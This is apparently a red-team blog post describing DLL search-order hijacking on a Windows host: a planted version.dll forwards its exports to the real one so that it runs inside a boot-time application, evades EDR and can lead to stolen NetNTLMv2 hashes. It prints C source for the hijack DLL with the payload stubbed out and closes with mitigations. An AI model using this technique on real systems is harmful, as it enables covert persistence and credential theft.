TL;DR: Dumping credentials from LSASS may not always be trivial due to the presence of EDR products, and bypassing such products may not always be trivial. Instead, persistence techniques such as DLL search-order hijacks may results in code execution in the context of the targeted privileged users, that may be used to launch malware and steal NetNTLMv2 hashes, for offline password cracking. A positive side effect is that no traditional typical lateral movement technique, such as e.g. RDP/PsExec/WmiExec/AtExec, is needed to access the host as the attacker’s malware is already running there.
Background
On a red team engagement, we observed indicators of highly-privileged users having authenticated against the compromised host after the last reboot.
Therefore, we deemed it likely that their credentials were still cached in the LSASS process memory space, ripe for dumping since we already had gained local administrative privileges on the host. However, as we believed that the present EDR solution was found to detect available dumping techniques, alternatives were explored.
We took a step back and challenged our current assumptions, one of them being that we had to dump LSASS in order to gain access to the credentials of users who appeared to use the compromised host from time to time. We realized that all we needed was a shell in the target user's context, from where we might be able to steal the NetNTLMv2 hash, by browsing a rogue SMB server, e.g. Responder, which we could run somewhere else in the environment.
Remote process injection
Since we had achieved local administrative privileges, we discussed the possibility of simply injecting malware into a process that was running in the context of the target users. However, we abandoned the idea, as we deemed it likely that the EDR product would detect it.
DLL search-order hijacking
As part of the reconnaissance efforts, we had learned that the target organization had deployed a specific application on most, if not all, hosts that was executed on boot and was running in the context of the logged on user.
Since we had already established local administrative privileges, we considered modifying the executable or its DLLs, in order to get code execution in the context of the target user, upon their next login. However, as certain users already were logged on, or had a disconnected session running, we simply couldn't modify existing files as they were locked. We also deemed it likely, that modification of existing binaries would trigger alarms. Instead, we wanted to upload a new file, that would not interfere with existing sessions and instances of the target application, while still executing our malware in the context of the target application upon login.
We therefore inspected the application with ProcMon to identify potential targets of DLL search-order hijacking in a test environment. We found, among others, that C:\Windows\SysWOW64\version.dll was a suitable target, as it was found to be statically loaded.
By placing a malicious version.dll in the directory of the target application, odds were that our DLL would be loaded, instead of the legitimate one in the SysWOW64 directory.
Export Forwarding
However, before our DLL would be loaded, we had to ensure that it exports the same functions as the legitimate DLL. Otherwise, Windows' subsystem responsible for loading the DLL would simply ignore it.
To do so, we examined the legitimate version.dll with Nirsoft's excellent DLL Export Viewer, and doing so we identified the list of functions that we had to export as well.
Using this list of functions, we used Export Forwarding:
In other words, PE files have the ability to add an export to their export table that is really just a pointer to an existing export in another binary. Thus, we don't have to implement or do anything fancy ourselves. We can simply just tell our target application that it should use the real functions in the real version.dll.
This can be achieved with by using a comment pragma, to instruct our linker to add the exports. E.g. to add an export that forwards the GetFileVersionInfoA() function to the same function in C:\Windows\SysWOW64\version.dll, one would add the following:
#pragma comment(linker, "/export:GetFileVersionInfoA=\"C:\\Windows\\SysWOW64\\version.GetFileVersionInfoA\"")
Execution of malware
The entry point, DllMain, was used to instantiate an instance of the used malware. To avoid slowing down execution of the target application, CreateThread() was used to start a new thread responsible for launching our malware. Due to the nature of load process of libraries, it is discouraged to use Win32 APIs in DllMain. However, in our experience, it is safe to use certain APIs, e.g. CreateThread().
Ensuring execution of malware no more than once
During testing of our malicious DLL, we quickly realized that it was loaded multiple times. If left ignored, our malware would be loaded equally multiple times, which was not intended. To resolve the issue, we chose to employ a mutex that at runtime is named based on the name of the current running process.
Side effects
From an attackers point of view, a number of attractive side effects were observed:
Due to the nature of DLLs, no new processes were launched. Instead our malware was launched in a new thread of a application that was to be launched anyway.
As the targeted application was launched immediately after login for all users, persistence was automatically ensured.
As the installation of the DLL only needed disk access, the technique could also be utilised as a means of lateral movement in addition to privilege escalation, by simply writing the file over the network with SMB.
Source code
Although the actual execution of our malware and the malware itself has been omitted here, all other details that are relevant for the techniques has been left untouched:
#include "pch.h"
#include <windows.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(linker, "/export:GetFileVersionInfoA=\"C:\\Windows\\SysWOW64\\version.GetFileVersionInfoA\"")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=\"C:\\Windows\\SysWOW64\\version.GetFileVersionInfoByHandle\"")
#pragma comment(linker, "/export:GetFileVersionInfoExW=\"C:\\Windows\\SysWOW64\\version.GetFileVersionInfoExW\"")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=\"C:\\Windows\\SysWOW64\\version.GetFileVersionInfoSizeA\"")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=\"C:\\Windows\\SysWOW64\\version.GetFileVersionInfoSizeW\"")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=\"C:\\Windows\\SysWOW64\\version.GetFileVersionInfoSizeExW\"")
#pragma comment(linker, "/export:GetFileVersionInfoW=\"C:\\Windows\\SysWOW64\\version.GetFileVersionInfoW\"")
#pragma comment(linker, "/export:VerFindFileA=\"C:\\Windows\\SysWOW64\\version.VerFindFileA\"")
#pragma comment(linker, "/export:VerFindFileW=\"C:\\Windows\\SysWOW64\\version.VerFindFileW\"")
#pragma comment(linker, "/export:VerInstallFileA=\"C:\\Windows\\SysWOW64\\version.VerInstallFileA\"")
#pragma comment(linker, "/export:VerInstallFileW=\"C:\\Windows\\SysWOW64\\version.VerInstallFileW\"")
#pragma comment(linker, "/export:VerLanguageNameA=\"C:\\Windows\\SysWOW64\\version.VerLanguageNameA\"")#pragma comment(linker, "/export:VerLanguageNameW=\"C:\\Windows\\SysWOW64\\version.VerLanguageNameW\"")
#pragma comment(linker, "/export:VerQueryValueA=\"C:\\Windows\\SysWOW64\\version.VerQueryValueA\"")
#pragma comment(linker, "/export:VerQueryValueW=\"C:\\Windows\\SysWOW64\\version.VerQueryValueW\"")
BOOL isRunning()
{
TCHAR szFileName[MAX_PATH];
GetModuleFileName(NULL, szFileName, MAX_PATH);
char fileNam[MAX_PATH];
size_t i;
wcstombs_s(&i, fileNam, szFileName, MAX_PATH);
char* fileName = strrchr(fileNam, '\\') + 1;
HANDLE h = CreateMutexA(NULL, TRUE, (LPCSTR)fileName);
if (h)
{
if (GetLastError() == ERROR_ALREADY_EXISTS) {
return TRUE;
}
}
else {
return TRUE;
}
return FALSE;
}
void run()
{
if (!isRunning()) {
// execute malware here
}
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)run, 0, 0, NULL);
}
return TRUE;
}
Mitigations
While the best mitigation against attacks as the one described here is to ensure that write access to application folders is both restricted and monitored, a secondary approach could be to periodically investigate occurrences of DLLs that have the same name as DLLs located in System32 or SysWOW64.